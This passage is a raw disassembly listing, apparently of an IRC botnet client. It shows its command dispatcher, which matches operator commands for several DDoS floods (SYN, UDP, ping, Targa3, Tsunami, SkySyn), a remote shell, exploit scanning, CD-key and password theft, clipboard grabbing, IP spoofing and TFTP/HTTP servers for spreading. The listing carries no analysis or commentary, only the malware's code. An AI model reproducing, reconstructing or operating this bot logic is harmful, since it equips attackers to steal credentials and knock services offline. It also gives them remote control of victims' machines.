		push	11h
		push	offset aTarga3Flood ; "Targa3 flood"
		push	offset dword_441560
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_402E93:				; CODE XREF: sub_401CC7+11B2j
		push	edi		; Str2
		push	offset aWonkstop ; "wonkstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EBC
		push	dword ptr [ebp+esi+Args]
		push	12h
		push	offset aWonkFlood ; "Wonk flood"
		push	offset dword_441588
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_402EBC:				; CODE XREF: sub_401CC7+11DBj
		push	edi		; Str2
		push	offset aPacketstop ; "packetstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403012
		mov	esi, dword ptr [ebp+esi+Args]
		mov	edi, [ebp+arg_4]
		push	esi		; Str
		push	0Dh		; int
		push	offset aDdosFlood_0 ; "DDoS flood"
		push	offset dword_4415AC ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40BA1C
		push	esi		; Str
		push	0Eh		; int
		push	offset aSynFlood_0 ; "Syn flood"
		push	offset dword_4415C4 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40BA1C
		add	esp, 40h
		push	esi		; Str
		push	17h		; int
		push	offset aUdpFlood ; "UDP	flood"
		push	offset dword_4415DC ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40BA1C
		push	esi		; Str
		push	16h		; int
		push	offset aPingFlood ; "Ping flood"
		push	offset dword_4415F4 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40BA1C
		add	esp, 40h
		push	esi		; Str
		push	11h		; int
		push	offset aTarga3Flood_0 ;	"Targa3	flood"
		push	offset dword_441610 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40BA1C
		push	esi		; Str
		push	12h		; int
		push	offset aWonkFlood_0 ; "Wonk flood"
		push	offset dword_44162C ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40BA1C
		add	esp, 40h
		push	esi		; Str
		push	0Fh		; int
		push	offset aTsunamiFlood ; "Tsunami	flood"
		push	offset dword_441648 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40BA1C
		push	esi		; Str
		push	13h		; int
		push	offset aWisdomAttack ; "Wisdom attack"
		push	offset dword_441668 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40BA1C
		add	esp, 40h
		push	esi		; Str
		push	10h		; int
		push	offset aSkysynFlood_0 ;	"SkySyn	flood"
		push	offset dword_441688 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40BA1C
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_441698 ; int
		push	[ebp+Format]	; Str
		push	edi		; int
		call	sub_409D6C
		add	esp, 34h
		jmp	loc_402166
; ---------------------------------------------------------------------------

loc_403012:				; CODE XREF: sub_401CC7+1204j
		push	edi		; Str2
		push	offset aTsunamistop ; "tsunamistop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40303B
		push	dword ptr [ebp+esi+Args]
		push	0Fh
		push	offset aTsunamiFlood_0 ; "Tsunami flood"
		push	offset dword_4416E8
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_40303B:				; CODE XREF: sub_401CC7+135Aj
		push	edi		; Str2
		push	offset aWisdomstop ; "wisdomstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403064
		push	dword ptr [ebp+esi+Args]
		push	13h
		push	offset aWisdomAttack_0 ; "Wisdom attack"
		push	offset dword_441714
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_403064:				; CODE XREF: sub_401CC7+1383j
		push	edi		; Str2
		push	offset aUdpstop	; "udpstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40308D
		push	dword ptr [ebp+esi+Args]
		push	17h
		push	offset aUdpFlood_0 ; "UDP flood"
		push	offset dword_441738
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_40308D:				; CODE XREF: sub_401CC7+13ACj
		push	edi		; Str2
		push	offset aPingstop ; "pingstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4030B6
		push	dword ptr [ebp+esi+Args]
		push	16h
		push	offset aPingFlood_0 ; "Ping flood"
		push	offset dword_44175C
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_4030B6:				; CODE XREF: sub_401CC7+13D5j
		push	edi		; Str2
		push	offset aTftpstop ; "tftpstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4030DF
		push	dword ptr [ebp+esi+Args]
		push	5
		push	offset aServer_4 ; "Server"
		push	offset dword_44177C
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_4030DF:				; CODE XREF: sub_401CC7+13FEj
		push	edi		; Str2
		push	offset aFindfilestop ; "findfilestop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047D0
		push	edi		; Str2
		push	offset aFfstop	; "ffstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047D0
		push	edi		; Str2
		push	offset aProcsstop ; "procsstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047BB
		push	edi		; Str2
		push	offset aPsstop	; "psstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047BB
		push	edi		; Str2
		push	offset aClonestop ; "clonestop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40315C
		push	dword ptr [ebp+esi+Args]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_441808
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_40315C:				; CODE XREF: sub_401CC7+147Bj
		push	edi		; Str2
		push	offset aSecurestop ; "securestop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403185
		push	dword ptr [ebp+esi+Args]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_44182C
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_403185:				; CODE XREF: sub_401CC7+14A4j
		push	edi		; Str2
		push	offset aScanstop ; "scanstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031AE
		push	dword ptr [ebp+esi+Args]
		push	0Bh
		push	offset aScan	; "Scan"
		push	offset dword_441850
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_4031AE:				; CODE XREF: sub_401CC7+14CDj
		push	edi		; Str2
		push	offset aScanstats ; "scanstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047A5
		push	edi		; Str2
		push	offset aStats	; "stats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047A5
		push	edi		; Str2
		push	offset aTransferstats ;	"transferstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40478F
		push	edi		; Str2
		push	offset aTrstats	; "trstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40478F
		push	edi		; Str2
		push	offset aConnectbacksta ; "connectbackstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404779
		push	edi		; Str2
		push	offset aCbstats	; "cbstats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404779
		push	edi		; Str2
		push	offset aExploitlist ; "exploitlist"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404763
		push	edi		; Str2
		push	offset aExplist	; "explist"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404763
		push	edi		; Str2
		push	offset aReconnect ; "reconnect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404744
		push	edi		; Str2
		push	offset aR	; "r"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404744
		push	edi		; Str2
		push	offset aDisconnect ; "disconnect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404722
		push	edi		; Str2
		push	offset aDc	; "dc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404722
		push	edi		; Str2
		push	offset aQuit_0	; "quit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DA
		push	edi		; Str2
		push	offset aQ	; "q"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DA
		push	edi		; Str2
		push	offset aStatus	; "status"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046C6
		push	edi		; Str2
		push	offset aS_2	; "s"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046C6
		push	edi		; Str2
		push	offset aId	; "id"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40468F
		push	edi		; Str2
		push	offset aI_0	; "i"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40468F
		push	edi		; Str2
		push	offset aReboot	; "reboot"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40337A
		call	sub_41910C
		test	eax, eax
		mov	eax, offset asc_4419C8 ; "-"
		jnz	short loc_40334C
		mov	eax, offset unk_4419E8

loc_40334C:				; CODE XREF: sub_401CC7+167Ej
		push	eax		; Format
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 1Ch
		jmp	loc_408708
; ---------------------------------------------------------------------------

loc_40337A:				; CODE XREF: sub_401CC7+1670j
		push	edi		; Str2
		push	offset aThreads	; "threads"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B0
		push	edi		; Str2
		push	offset aT	; "t"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B0
		push	edi		; Str2
		push	offset aAliases	; "aliases"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458D
		push	edi		; Str2
		push	offset aAl	; "al"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458D
		push	edi		; Str2
		push	offset aLog	; "log"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40449A
		push	edi		; Str2
		push	offset aLg	; "lg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40449A
		push	edi		; Str2
		push	offset aClearlog ; "clearlog"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40447E
		push	edi		; Str2
		push	offset aClg	; "clg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40447E
		push	edi		; Str2
		push	offset aNetinfo	; "netinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404444
		push	edi		; Str2
		push	offset aNi	; "ni"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404444
		push	edi		; Str2
		push	offset aSysinfo	; "sysinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404419
		push	edi		; Str2
		push	offset aSi	; "si"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404419
		push	edi		; Str2
		push	offset aRemove	; "remove"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043DF
		push	edi		; Str2
		push	offset aRm	; "rm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043DF
		push	edi		; Str2
		push	offset aProcs	; "procs"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042BF
		push	edi		; Str2
		push	offset aPs	; "ps"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042BF
		push	edi		; Str2
		push	offset aGetcdkeys ; "getcdkeys"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042A1
		push	edi		; Str2
		push	offset aKey	; "key"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042A1
		push	edi		; Str2
		push	offset aUptime	; "uptime"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404219
		push	edi		; Str2
		push	offset aUp	; "up"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404219
		push	edi		; Str2
		push	offset aDriveinfo ; "driveinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041FC
		push	edi		; Str2
		push	offset aDrv	; "drv"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041FC
		push	edi		; Str2
		push	offset aTestdlls ; "testdlls"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E3
		push	edi		; Str2
		push	offset aDll	; "dll"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E3
		push	edi		; Str2
		push	offset aOpencmd	; "opencmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40416F
		push	edi		; Str2
		push	offset aOcmd	; "ocmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40416F
		push	edi		; Str2
		push	offset aCmdstop	; "cmdstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4035C5
		push	dword ptr [ebp+esi+Args]
		push	0Ah
		push	offset aRemoteShell ; "Remote shell"
		push	offset dword_441D20
		jmp	loc_4047E3
; ---------------------------------------------------------------------------

loc_4035C5:				; CODE XREF: sub_401CC7+18E4j
		push	edi		; Str2
		push	offset aWho	; "who"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4036DB
		cmp	[ebp+var_8], ebx
		jnz	short loc_4035F9
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset dword_441D30 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_4035F9:				; CODE XREF: sub_401CC7+1916j
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_403606
; ---------------------------------------------------------------------------

loc_403603:				; CODE XREF: sub_401CC7+1986j
		mov	eax, [ebp+arg_18]

loc_403606:				; CODE XREF: sub_401CC7+193Aj
		cmp	[eax], bl
		jz	short loc_40360D
		inc	eax
		jmp	short loc_403612
; ---------------------------------------------------------------------------

loc_40360D:				; CODE XREF: sub_401CC7+1941j
		mov	eax, offset aEmpty ; "<Empty>"

loc_403612:				; CODE XREF: sub_401CC7+1944j
		push	eax
		push	edi
		lea	eax, [ebp+Dst]
		push	offset aD_S	; "%d. %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_403603
		push	offset unk_441D54
		call	sub_415C77
		pop	ecx

loc_40365A:				; CODE XREF: sub_401CC7+1C17j
					; sub_401CC7+2F4Cj
		mov	edi, dword ptr [ebp+esi+Args]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_402166
		push	[ebp+arg_8]	; Str2
		push	offset aSpoof	; "spoof"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404D00
		push	offset Str2	; "off"
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404C25
		lea	eax, [ebp+Dst]
		push	offset asc_44229C ; "-"
		push	eax		; Dest
		mov	dword_4E7A18, ebx
		call	_sprintf
		pop	ecx
		pop	ecx

loc_4036B1:				; CODE XREF: sub_401CC7+3034j
		cmp	[ebp+var_8], ebx
		jnz	loc_409B47
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C

loc_4036D3:				; CODE XREF: sub_401CC7+7288j
		add	esp, 14h
		jmp	loc_409B47
; ---------------------------------------------------------------------------

loc_4036DB:				; CODE XREF: sub_401CC7+190Dj
		push	edi		; Str2
		push	offset aGetclip	; "getclip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40412E
		push	edi		; Str2
		push	offset aGc	; "gc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40412E
		push	edi		; Str2
		push	offset aFlusharp ; "flusharp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404117
		push	edi		; Str2
		push	offset aFarp	; "farp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404117
		push	edi		; Str2
		push	offset aFlushdns ; "flushdns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040DF
		push	edi		; Str2
		push	offset aFdns	; "fdns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040DF
		push	edi		; Str2
		push	offset aCurrentip ; "currentip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040A5
		push	edi		; Str2
		push	offset aCip	; "cip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040A5
		push	edi		; Str2
		push	offset aRloginserver ; "rloginserver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F6A
		push	edi		; Str2
		push	offset aRlogin	; "rlogin"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F6A
		push	edi		; Str2
		push	offset aHttpserver ; "httpserver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DDE
		push	edi		; Str2
		push	offset aHttp	; "http"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DDE
		push	edi		; Str2
		push	offset aTftpserver ; "tftpserver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403CA4
		push	edi		; Str2
		push	offset aTftp	; "tftp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403CA4
		push	edi		; Str2
		push	offset aCrash	; "crash"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403867
		lea	eax, [ebp+Dst]
		push	offset asc_442084 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403846
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_403846:				; CODE XREF: sub_401CC7+1B61j
		lea	eax, [ebp+Dst]
		push	eax		; Str2
		call	sub_415C77
		mov	[esp+5D98h+var_5D98], offset aCrash_0 ;	"crash"
		push	[ebp+esi+var_7C] ; Str1
		call	_strcmp
		jmp	loc_409CD3
; ---------------------------------------------------------------------------

loc_403867:				; CODE XREF: sub_401CC7+1B49j
		push	edi		; Str2
		push	offset aScan_0	; "scan"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40399D
		push	edi		; Str2
		push	offset aScan_1	; "scan"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40399D
		push	edi		; Str2
		push	offset aPhonehome ; "phonehome"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4038BE
		lea	eax, [ebp+var_C0]
		push	eax		; Args
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409D26

loc_4038B6:				; CODE XREF: sub_401CC7+472j
		add	esp, 0Ch
		jmp	loc_402166
; ---------------------------------------------------------------------------

loc_4038BE:				; CODE XREF: sub_401CC7+1BD9j
		push	edi		; Str2
		push	offset aFindpass ; "findpass"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038E4
		push	edi		; Str2
		push	offset aFp	; "fp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40365A

loc_4038E4:				; CODE XREF: sub_401CC7+1C06j
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_F54]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset asc_44222C ; "-"
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	26h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_417AC3
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_40398C

loc_403976:				; CODE XREF: sub_401CC7+1CC3j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_408708
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_403976
; ---------------------------------------------------------------------------

loc_40398C:				; CODE XREF: sub_401CC7+1CADj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442254
		jmp	loc_4086F9
; ---------------------------------------------------------------------------

loc_40399D:				; CODE XREF: sub_401CC7+1BAFj
					; sub_401CC7+1BC4j
		mov	al, byte_44942A
		mov	[ebp+Src], ebx
		cmp	al, bl
		mov	edx, offset byte_44942A
		jz	loc_402166
		mov	ecx, edx

loc_4039B4:				; CODE XREF: sub_401CC7+1CF5j
		inc	[ebp+Src]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4039B4
		cmp	al, bl
		jz	loc_402166
		mov	[ebp+arg_18], edx

loc_4039C9:				; CODE XREF: sub_401CC7+1FC8j
		push	0Bh
		call	sub_40B9D6
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+Src]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403A18
		push	ecx
		lea	eax, [ebp+Dst]
		push	offset asc_4420B8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 20h
		jmp	loc_403C86
; ---------------------------------------------------------------------------

loc_403A18:				; CODE XREF: sub_401CC7+1D1Cj
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_449248, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+Src], ebx
		jz	short loc_403A89
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_449248
		lea	edi, [eax-0Ah]

loc_403A53:				; CODE XREF: sub_401CC7+1DA4j
		lea	eax, [esi-28h]
		push	edi		; Str2
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403A6F
		inc	[ebp+Src]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_403A53
		jmp	short loc_403A89
; ---------------------------------------------------------------------------

loc_403A6F:				; CODE XREF: sub_401CC7+1D9Aj
		mov	eax, [ebp+Src]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_449248[ecx]
		mov	[ebp+var_74C], ecx

loc_403A89:				; CODE XREF: sub_401CC7+1D7Fj
					; sub_401CC7+1DA6j
		cmp	[ebp+var_74C], ebx
		jz	loc_403C9A
		push	10h
		lea	eax, [ebp+var_2CC]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2CC], esi
		push	[ebp+arg_4]
		call	dword_4E41C4	; getsockname
		mov	al, [ebp+var_8FF]
		push	esi		; Args
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+Count], eax
		push	[ebp+Count]	; Count
		call	dword_4E42AC	; inet_ntoa
		push	eax		; Source
		lea	eax, [ebp+var_860]
		push	eax		; Dest
		call	_strncpy
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h		; Ch
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax		; Str
		call	_strrchr
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+File+3], bl
		jle	short loc_403B31

loc_403B0F:				; CODE XREF: sub_401CC7+1E68j
		cmp	eax, ebx
		jz	short loc_403B31
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h		; Ch
		push	eax		; Str
		call	_strrchr
		inc	byte ptr [ebp+File+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+File+3]
		cmp	ecx, esi
		jl	short loc_403B0F

loc_403B31:				; CODE XREF: sub_401CC7+1E46j
					; sub_401CC7+1E4Aj
		mov	eax, [ebp+arg_4]
		push	[ebp+Format]	; Format
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h		; Count
		push	eax		; Dest
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	__snprintf
		push	offset byte_4E40C8 ; Str2
		push	offset aHelp	; "##help"
		call	_strcmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_403B9E
		push	offset aHelp	; "##help"
		lea	eax, [ebp+var_7D0]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_403BA4
; ---------------------------------------------------------------------------

loc_403B9E:				; CODE XREF: sub_401CC7+1EBAj
		mov	[ebp+var_7D0], bl

loc_403BA4:				; CODE XREF: sub_401CC7+1ED5j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_403BB6
		mov	eax, offset aSequential	; "Sequential"

loc_403BB6:				; CODE XREF: sub_401CC7+1EE8j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_442144 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40CBA1
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_403C40

loc_403C2E:				; CODE XREF: sub_401CC7+1F77j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403C5B
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_403C2E
; ---------------------------------------------------------------------------

loc_403C40:				; CODE XREF: sub_401CC7+1F65j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_4421B0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_403C5B:				; CODE XREF: sub_401CC7+1F6Dj
		cmp	edi, ebx
		jnz	short loc_403C79
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	esi		; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_403C79:				; CODE XREF: sub_401CC7+1F96j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		pop	ecx

loc_403C86:				; CODE XREF: sub_401CC7+1D4Cj
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4039C9
		jmp	loc_402166
; ---------------------------------------------------------------------------

loc_403C9A:				; CODE XREF: sub_401CC7+1DC8j
